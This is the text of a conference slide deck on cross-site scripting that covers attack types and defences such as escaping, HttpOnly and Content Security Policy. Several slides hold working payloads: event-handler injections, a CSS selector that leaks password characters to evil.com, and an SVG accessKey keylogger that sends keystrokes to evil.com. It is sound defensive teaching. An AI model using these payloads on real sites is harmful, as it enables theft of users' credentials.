XSS Wars. The Force Awakens

Dashukevich Vladimir

{
Theme: XSS Wars. The Force Awakens,
Speaker: Dashukevich Vladimir,
Company: XBSoftware,
Comunity: 4frontby,
Conference: Frontend Union Conf
}

Plan:

What does XSS mean?

Cross Site Scripting

XSS attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted web sites

The Open Web Application Security Project

XSS attack is, when someone runs its sh**ty code inside our perfect Web Apps

Vladimir Dashukevich

How does it look like?

Stored (Persistent)

Reflected

Stored XSS attacks

Reflected XSS attacks

How can it be dangerous?

Just make a user send the same request

POST or GET

https://you.site?param1=some_value&
run=<script>alert(1)</script>

How can it be dangerous?

XSS effects

How to make a user run a script

Simple template

                <div style='{{css}}'>
                    <input value='{{value}}'>
                    Hello, {{title}}
                    {{image}}
                </div>
            

Simple template

                <div style='{{css}}'>
                    <input value='{{value}}'>
                    Hello, {{title}}
                    {{image}}
                </div>
            

Simple template

                <div style='{{css}}'>
                    <input value='' onmouseover='alert(1)'>
                    Hello, {{title}}
                    {{image}}
                </div>
            

Done! Simple)))

Simple template

                <div style='{{css}}'>
                    <input value='{{value}}'>
                    Hello, {{title}}
                    {{image}}
                </div>
            

Simple template

                <div style='{{css}}'>
                    <input value='{{value}}'>
                    Hello, <img src='a.png' onerror='alert(1)'>
                    {{image}}
                </div>
            

Why always me?))

Simple template

                <div style='{{css}}'>
                    <input value='{{value}}'>
                    Hello, {{title}}
                    {{image}}
                </div>
            

His CSS to help you with UX))

evil.css

Can I steel something?

                <input type='password' id='hi' value='abcd'>
            
                #hi[value^="a"] {
                   background-color: url(//evil.com/?v=a);
                }
                #hi[value^="b"] {
                   background-color: url(//evil.com/?v=b);
                }
            

example

Or even worse?

Simple template

                <div style='{{css}}'>
                    <input value='{{value}}'>
                    Hello, {{title}}
                    {{image}}
                </div>
            

Keylogger with image

<set> in <svg>

SVG image

                <defs>
                    <path id='example' d="...">
                </defs>
                <use xlink:href="#example" visibility="hidden">
                	  <set begin="0s" end="1s" 
                	      attributeName="visibility" to="visible">
                </use>
            

SVG image

                <defs>
                    <path id='example' d="...">
                </defs>
                <use xlink:href="#example" visibility="hidden">
                	  <set begin="accessKey(a)" 
                	      attributeName="xlink:href" to="//evil.com/?a">
                
                </use>
            

SVG image

                <set begin="accessKey(a)" attributeName="xlink:href"
                        to="//evil.com/?a">
                <set begin="accessKey(b)" attributeName="xlink:href"
                        to="//evil.com/?b">
                ...
                <set begin="accessKey(x)" attributeName="xlink:href"
                        to="//evil.com/?x">
            

example

Scary?

What is a browser?

What is outside the browser?

Why are they bad?

Why are they good?

Summary

How can you protect yourself?

Avoid adding HTML as a string

Dangerous code

Safe code

Dangerous code

Solutions

Escaping everything

                str.replace(/&/g, '&amp;')
                   .replace(/"/g, '&quot;')
                   .replace(/'/g, '&#39;')
                   .replace(/</g, '&lt;')
                   .replace(/>/g, '&gt;');
            

Sanitizer

Some HTTP headers

Headers

HttpOnly provides you with:

What about iframes?

Solutions

Content Security Policy

History

HTTP header again

Headers

Policies

                Content-Security-Policy:
                   default-src 'none';
                   frame-src mysite.com;
                   img-src 'self' *.google.com;
                   script-src 'self' 'unsafe-inline' 'unsafe-eval';
                   report-uri https://mysite.com/report;
            
                Content-Security-Policy:
                   default-src 'none';
                   frame-src mysite.com;
                   img-src 'self' *.google.com;
                   script-src 'self' 'unsafe-inline' 'unsafe-eval';
                   report-uri https://mysite.com/report;
            
                Content-Security-Policy:
                   default-src 'none';
                   frame-src mysite.com;
                   img-src 'self' *.google.com;
                   script-src 'self' 'unsafe-inline' 'unsafe-eval';
                   report-uri https://mysite.com/report;
            
                Content-Security-Policy:
                   default-src 'none';
                   frame-src mysite.com;
                   img-src 'self' *.google.com;
                   script-src 'self' 'unsafe-inline' 'unsafe-eval';
                   report-uri https://mysite.com/report;
            
                Content-Security-Policy:
                   default-src 'none';
                   frame-src mysite.com;
                   img-src 'self' *.google.com;
                   script-src 'self' 'unsafe-inline' 'unsafe-eval';
                   report-uri https://mysite.com/report;
            
                Content-Security-Policy:
                   default-src 'none';
                   frame-src mysite.com;
                   img-src 'self' *.google.com;
                   script-src 'self' 'unsafe-inline' 'unsafe-eval';
                   report-uri /report?report=true;
            

How it works?

                <script src="//evel.com/steel.js"></script>
            
                Content-Security-Policy:
                   default-src 'none';
                   frame-src mysite.com;
                   img-src 'self' *.google.com;
                   script-src 'self' https://mysite.com;
                   report-uri /report?report=true;
            
                <script src="//evel.com/steel.js"></script>
            
                Content-Security-Policy:
                   default-src 'none';
                   frame-src mysite.com;
                   img-src 'self' *.google.com;
                   script-src 'self' https://script.com;
                   report-uri /report?report=true;
            
                {
                   "csp-report": {
                      "document-uri": "https://mysite.com/cats",
                      "referrer": "https://evel.com",
                      "blocked-uri": "https://evil.com/steel.js" ,
                      "violated-directive": "script-src 'self' https://script.com;",
                      "original-policy": ** all policy **
                   }
                }
            
                <img src="https://my.google.com/cat.png">
            
                Content-Security-Policy:
                   default-src 'none';
                   frame-src mysite.com;
                   img-src 'self' *.google.com;
                   script-src 'self' https://mysite.com;
                   report-uri /report?report=true;
            
                <img src="https://my.google.com/cat.png">
            
                Content-Security-Policy:
                   default-src 'none';
                   frame-src mysite.com;
                   img-src 'self' *.google.com;
                   script-src 'self' https://mysite.com;
                   report-uri /report?report=true;
            
                https://mysite.com/fontello.woff
            
                Content-Security-Policy:
                   default-src 'none';
                   frame-src mysite.com;
                   img-src 'self' *.google.com;
                   script-src 'self' https://mysite.com;
                   report-uri /report?report=true;
            
                https://mysite.com/fontello.woff
            
                Content-Security-Policy:
                   default-src 'none';
                   frame-src mysite.com;
                   img-src 'self' *.google.com;
                   script-src 'self' https://mysite.com;
                   report-uri /report?report=true;
            

Can something be better?

Content Security Policy v2

Features

'Sign' safe script

                <script>
                   alert("Hello world")
                </script>
            
                Content-Security-Policy:
                   script-src 'self' 'nonce-Nc3n83cnSAd3wc3Sasdfn939hc3';
                   report-uri /report?report=true;
            
                <script>
                   alert("Hello world")
                </script>
            
                Content-Security-Policy:
                   script-src 'self' 'nonce-Nc3n83cnSAd3wc3Sasdfn939hc3';
                   report-uri /report?report=true;
            
                <script nonce="Nc3n83cnSAd3wc3Sasdfn939hc3">
                   alert("Hello world")
                </script>
            
                Content-Security-Policy:
                   script-src 'self' 'nonce-Nc3n83cnSAd3wc3Sasdfn939hc3';
                   report-uri /report?report=true;
            
                <script nonce="Nc3n83cnSAd3wc3Sasdfn939hc3">
                   alert("Hello world")
                </script>
            
                Content-Security-Policy:
                   script-src 'self' 'nonce-Nc3n83cnSAd3wc3Sasdfn939hc3';
                   report-uri /report?report=true;
            

Summary

How to catch XSS

Examples

And one more thing...

The trust of your customers is priceless

I want to give you my private date

Links

  1. HTTP headers
  2. XSS through CSS (video)
  3. Types of XSS
  4. Other examples of XSS
  5. Other examples 2 (ru)

Questions

Facebook: dashukevich.vova
Twitter: life__777